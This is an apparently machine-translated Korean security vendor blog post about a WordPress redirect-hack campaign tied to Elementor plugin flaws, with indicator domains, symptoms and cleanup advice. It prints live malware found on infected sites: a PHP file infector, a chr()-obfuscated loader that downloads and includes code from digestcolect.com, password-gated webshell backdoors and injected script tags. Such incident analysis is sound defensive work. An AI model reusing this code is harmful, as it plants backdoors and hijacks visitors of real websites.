WordPress 테마 및 플러그인의 취약점을 대상으로 하는 공격은 지난 몇 개월 동안 악화되었습니다. WordPress 플러그인에 대한 이미 진행 중인 공격 캠페인 – Elementor Pro, The Ultimate Addons of Elementor &Astra Theme는 사용자를 다음과 같은 의심스러운 웹사이트로 리디렉션하는 리디렉션 해킹 캠페인으로 새로운 전환을 맞이한 것 같습니다.
- digestcolect [.] com,
- js[.]donatelloflowfirstly.ga,
- 추적[.]developfirstline[.]com/t.js?s=5,
- deliverynotforme[.]최고,
- 0.beerockstars[.]ga/?p=me3gmnbugm5gi3bpgq3tknq&sub2=mtrolley83,
- 0.directedmyfounds[.]ga/?p=gi3tazrwga5gi3bpgizdgmq&sub2=mstimens3,
- well.linetoadsactive[.]com/m.js?n=nb5,
- 0.realhelpcompany[.]가,
- fast.helpmart[.]ga/m[.]js?w=085,
- dock.lovegreenpencils[.]ga/m.js?n=nb5,
- cht.secondaryinformtrand[.]com/m.js?n=nb5,
- main.travelfornamewalking[.]ga/,
- irc.lovegreenpencils[.]ga/ 등
Elementor 및 Ultimate Addons for Elementor 모두 이러한 보안 문제를 패치하기 위한 업데이트를 발표했으므로 아직 업데이트하지 않은 경우 다음 버전으로 업데이트하십시오.
- Elementor Pro: 2.9.4
- Elementor용 궁극의 애드온: 1.24.2
관련 해킹 – 또한 WordPress 웹사이트가 추적으로 리디렉션되는 것을 보았습니다. developmentfirstline[.com]/t.js?s=5' type='text/javascript
지금까지 우리가 알고 있는 것...
영향을 받는 웹 사이트에서 표시되는 일반적인 증상 중 하나는 – 리디렉션입니다.
즉, 공격을 암시하는 다른 증상도 있습니다.
- 웹사이트 루트 디렉토리에 추가된 횡설수설 파일
- 인증되지 않은 관리자가 WordPress 관리 영역에 추가됨
- /wp-content/uploads/elementor/custom-icons/의 알 수 없는 파일 및 폴더
wp-xmlrpc.phpwp-cl-plugin.php
와 같은 웹사이트 루트의 알 수 없는 파일- 수천 개의 알려지지 않은 악성 자바스크립트 및 PHP 파일이 파일 시스템에 추가됨
악성이란 무엇입니까 'tap.digestcolect.com/r. php?id=0 spam/' 웹사이트 리디렉션 코드는 어떻게 생겼나요?
- 다음 코드는 'hjghjerg라는 파일에서 발견되었습니다. ':
<?php $lastRunLog = "./debugs.log";
if (file_exists($lastRunLog)) {
$lastRun = file_get_contents($lastRunLog);
if (time() - $lastRun >= 6400) {
search_file($_SERVER['DOCUMENT_ROOT']."/../../../../../../../../","index");
search_file_js($_SERVER['DOCUMENT_ROOT']."/../../../../../../../../",".js");
file_put_contents($lastRunLog, time());
}
} else {
search_file($_SERVER['DOCUMENT_ROOT']."/../../../../../../../../","index");
search_file_js($_SERVER['DOCUMENT_ROOT']."/../../../../../../../../",".js");
file_put_contents( './debugs.log', time());
}
function search_file($dir,$file_to_search){
$files = @scandir($dir);
if($files == false) {
$dir = substr($dir, 0, -3);
if (strpos($dir, '../') !== false) {
@search_file( $dir,"index");
return;
}
if($dir == $_SERVER['DOCUMENT_ROOT']."/") {
@search_file( $dir,"index");
return;
}
}
...
function search_file_js($dir,$file_to_search){
$files = @scandir($dir);
if($files == false) {
$dir = substr($dir, 0, -3);
if (strpos($dir, '../') !== false) {
@search_file_js( $dir,".js");
return;
}
if($dir == $_SERVER['DOCUMENT_ROOT']."/") {
@search_file_js( $dir,".js");
return;
}
}
foreach($files as $key => $value){
$path = realpath($dir.DIRECTORY_SEPARATOR.$value);
if(!is_dir($path)) {
if (strpos($value,$file_to_search) !== false && (strpos($value,".js") !== false)) {
make_it_js($path);
} }else if($value != "." && $value != "..") {
search_file_js($path, $file_to_search);
}
}
}
function make_it_js($f){
$g = file_get_contents($f);
if (strpos($g, 'var') !== false) {
$g = file_get_contents($f);
if (strpos($g, 'mndfhghjf') !== false) {
} else {
$l2 = "";
$g = file_get_contents($f);
$g = $l2.$g;
@system('chmod 777 '.$f);
@file_put_contents($f,$g);
$g = file_get_contents($f);
if (strpos($g, 'mndfhghjf') !== false) {
}
}
}
}
function make_it($f){
$g = file_get_contents($f);
if (strpos($g, 'trackstatisticsss') !== false) {
} else {
$l2 = "";
$g = $l2.$g;
@system('chmod 777 '.$f);
@file_put_contents($f,$g);
$g = file_get_contents($f);
if (strpos($g, 'trackstatisticsss') !== false) {
}
}
}
- 이 코드는 header.php 파일에서 발견되었습니다.
<?php $c = chr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).chr(100).chr(101).chr(99)."ode";
$d = chr(102).chr(105).chr(108)."e".chr(95)."get".chr(95)."con".chr(116).chr(101).chr(110).chr(116).chr(115);
$b = $c($d(chr(104).chr(116).chr(116).chr(112).chr(58).chr(47).chr(47).chr(99).chr(115).chr(115).chr(46).chr(100).chr(105).chr(103).chr(101).chr(115).chr(116).chr(99).chr(111).chr(108).chr(101).chr(99).chr(116).chr(46).chr(99).chr(111).chr(109).chr(47).chr(109).chr(46).chr(116).chr(120).chr(116)));
$c1 = chr(104);
@file_put_contents($c1,chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).$b);@include($c1);@unlink($c1); ?><?php if(isset($_REQUEST[chr(97).chr(115).chr(97).chr(118).chr(115).chr(100).chr(118).chr(100).chr(115)]) && md5($_REQUEST[chr(108).chr(103).chr(107).chr(102).chr(103).chr(104).chr(100).chr(102).chr(104)]) == chr(101).chr(57).chr(55).chr(56).chr(55).chr(97).chr(100).chr(99).chr(53).chr(50).chr(55).chr(49).chr(99).chr(98).chr(48).chr(102).chr(55).chr(54).chr(53).chr(50).chr(57).chr(52).chr(53).chr(48).chr(51).chr(100).
..
chr(111).chr(110).chr(116).chr(101).chr(110).chr(116).chr(115);$b1 = chr(100).chr(101).chr(99).chr(111).chr(100).chr(101);$b2 = chr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).$b1; $z1 = chr(60).chr(63).chr(112).chr(104).chr(112).chr(32); $z2 = $z1.$b2($_REQUEST[chr(100).chr(49)]); $z3 = $b2($_REQUEST[chr(100).chr(49)]); @$n3($a,$z2); @include($a);@unlink($a); $a = chr(47).chr(116).chr(109).chr(112).chr(47).$a; @$n3($a,$z2); @include($a);@unlink($a);die(); } ?><?php if(isset($_GET[5]) && md5($_GET[5]) == "37147ec1ab66861d6e2ef8f672cb2c0b") {function _1896550334($i){$a=Array("jweyc","aeskoly","owhggiku","callbrhy","H*","");return $a[$i];} function l__0($_0){return isset($_COOKIE[$_0])?$_COOKIE[$_0]:@$_POST[$_0];if(3404<mt_rand(443,2956))session_get_cookie_params($_COOKIE,$_0,$_POST,$_0);}$_1=l__0(_1896550334(0)) .l__0(_1896550334(1)) .l__0(_1896550334(2)) .l__0(_1896550334(3));if(!empty($_1)){$_1=str_rot13(@pack(_1896550334(4),strrev($_1)));if(isset($_1)){$_2=create_function(_1896550334(5),$_1);$_2();exit();}}else{echo base64_decode("bG9jYWwtZXJyb3Itbm90LWZvdW5k");}die();} ?><script src='https://css.digestcolect.com/g.js?v=1.0.0' type='text/javascript'></script>?><script src='https://css.digestcolect.com/g.js?v=1.0.0' type='text/javascript'></script>
- 이 코드는 일부 핵심 테마 파일에서 발견되었습니다.
<script type='text/javascript' src='https://js.digestcolect.com/g.js?v=18'></script><script type='text/javascript' src='https://js.digestcolect.com/g.js?v=18'></script>
Digestcolect [.] com 리디렉션을 수정하는 방법
웹사이트가 리디렉션되거나 해킹의 다른 증상이 표시되는 경우 다음을 수행하여 사고 대응 속도를 높일 수 있습니다.
- functions.php, wp-config.php 및 index.php와 같이 해커를 끌어들이는 즐겨찾는 파일을 확인하는 것으로 시작
- 핵심 WordPress 파일을 서버에 있는 파일과 비교하여 해커가 핵심 파일을 감염시켰는지 확인합니다.
- 온라인 맬웨어 스캐너로 웹사이트를 검사합니다.
- 낯선 관리자와 사용자가 있는지 데이터베이스 확인
- 루트 디렉토리에서 횡설수설한 파일 확인
WordPress 리디렉션 제거 가이드를 따를 수 있습니다. 보다 철저한 맬웨어 제거를 원하거나 동일한 방법으로 이 단계별 자습서를 따르십시오.
리디렉션이 계속되면 해커가 웹사이트에 백도어를 삽입했을 가능성이 큽니다. 일반적으로 웹사이트를 정리하기 위해 코드 검토와 함께 심층적인 맬웨어 검사가 필요합니다.
또한 다음을 확인하십시오:단계별 WordPress 맬웨어 제거 가이드
감염되지 않았습니까? 웹사이트 보안
악용을 피해서 다행입니다. 그러나 기회를 노리지 마십시오. 지금 웹사이트를 보호하는 것이 좋습니다. Astra Security와 같은 프리미엄 방화벽은 JS 주입, SQLi, CSRF, XSS, 나쁜 봇, RFI, LFI 및 기타 수백 가지와 같은 공격으로부터 보호하고 연중무휴 모니터링을 통해 웹사이트를 보호하는 데 큰 도움이 됩니다.
Malware Scanner, 국가 차단, IP 차단, Astra 보안과 같은 다양한 추가 보안 도구를 통해 기업과 블로그를 위한 케이크워크를 제공합니다.